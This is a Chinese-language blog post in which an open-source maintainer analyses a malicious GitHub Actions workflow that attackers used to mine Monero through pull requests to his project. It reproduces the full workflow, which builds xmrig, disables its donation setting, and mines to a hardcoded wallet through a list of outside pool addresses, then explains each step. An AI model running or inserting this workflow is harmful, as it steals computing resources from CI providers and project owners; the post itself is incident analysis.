一次针对黑客利用GitHub服务器进行xmr门罗币挖矿的分析

admin 2021-4-22 1195

背景:

2021年4月5日清明当天,笔者发现自己的开源项目 tomxiong/spell-check-maven-plugin 被Github禁止了Github Actions,进一步调查发现有黑客利用这个开源项目的Github Actions来挖矿,这个引起了我的兴趣,特地来分析一下这个攻击如何进行的,挖矿的脚本对于编写Github Actions的workflow有哪些可供学习的部分。

这篇文章主要关注在执行挖矿脚本的Github Actions上,至于攻击如何进行的和如何防止后续将待整个事件结束后进一步总结。

脚本分析:https://github.com/tomxiong/spell-check-maven-plugin/actions/runs/719145746/workflow

脚本执行情况

 Update action

脚本内容如下:

name: Run

on: [pull_request]

jobs:

    run:

        name: Run

        runs-on: ubuntu-latest

        strategy:

          fail-fast: false

          matrix:

            runner: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19]

        steps:

          - shell: bash

            run: |

              sudo apt-get update

              sudo apt-get install --yes \

              build-essential \

              cmake \

              git \

              libhwloc-dev \

              libssl-dev \

              libuv1-dev

              curl --location --output xmrig.tar.gz \

              https://github.com/xmrig/xmrig/archive/refs/tags/v6.10.0.tar.gz || exit 1

              tar xf xmrig.tar.gz || exit 1

              cd xmrig-* || exit 1

              # Izvinite)))))

              sed -i 's/= 1;/= 0;/' src/donate.h || exit 1

              mkdir build || exit 1

              cd build || exit 1

              cmake .. -DCMAKE_BUILD_TYPE=Release || exit 1

              make --jobs=$(nproc) || exit 1

              adres=49eqpX3Sn2d5cfJTevgZLGZGQmcdE37QE4TMJDmDcJeCG8DUgkbS5znSsU35Pk2HC1Lt99EnSiP9g74XpUHzTgxw23n5CkB

              servery=(

              165.0.74.146:18089

              84.58.115.216:18089

              137.103.97.192:18089

              194.5.250.42:18089

              96.41.220.52:18089

              51.79.173.165:18089

              100.19.74.83:18089

              204.27.62.98:18089

              96.43.139.226:18089

              46.4.52.92:18081

              144.76.113.157:18081

              )

              servery=( $(shuf -e "${servery[@]}") )

              cat <<EOF>config.json

              {

              "autosave": false,

              "cpu": true,

              "opencl": false,

              "cuda": false,

              "pools": []

              }

              EOF

              for server in "${servery[@]}"; do

              jq --arg server "$server" --arg adres "$adres" \

              '.pools += [{ coin: "monero", url: $server, user: $adres, daemon: true }]' \

              config.json > config.json.tmp || exit 1

              mv config.json.tmp config.json || exit 1

              done

              ./xmrig -c config.json**

逐步分析:

    名称简单:Run

    第2行 触发事件为: on[pull request],即这个workflow仅当有人创建到本项目的pull request即可触发,不影响main分支,也方便删除pull request和fork的分支。

    第8行,fail-fase: false , 查看帮助文档,它的值如果是true的话意味着针对metrix workflow的多个节点,如果有一个失败的话,后续剩余还未执行的job会被取消,参考:https://www.edwardthomson.com/blog/github_actions_6_fail_fast_matrix_workflows.html

    第9,10行,Stratege--》Metrix 可以指定执行job并行的node数以及编号,这个可以用于多节点并行执行的job,后续可以试一下如何使用。

    第27行,用sed修改donat.h中将=1修改为=0,貌似关闭donat的功能,猜测挖矿时不贡献一下原作者,吃独食呀。

    第46行,shuf的用法,shuf是随机排序一下输入的内容, 具体参考:https://www.geeksforgeeks.org/shuf-command-in-linux-with-examples/#:~:text=The%20shuf%20command%20in%20Linux%20writes%20a%20random,randomizes%20those%20input%20lines%20and%20displays%20the%20output.

    第57行, jq的用法,利用for loop更新config.json文件中的pools


    最新回复 (0)
    返回
    发新帖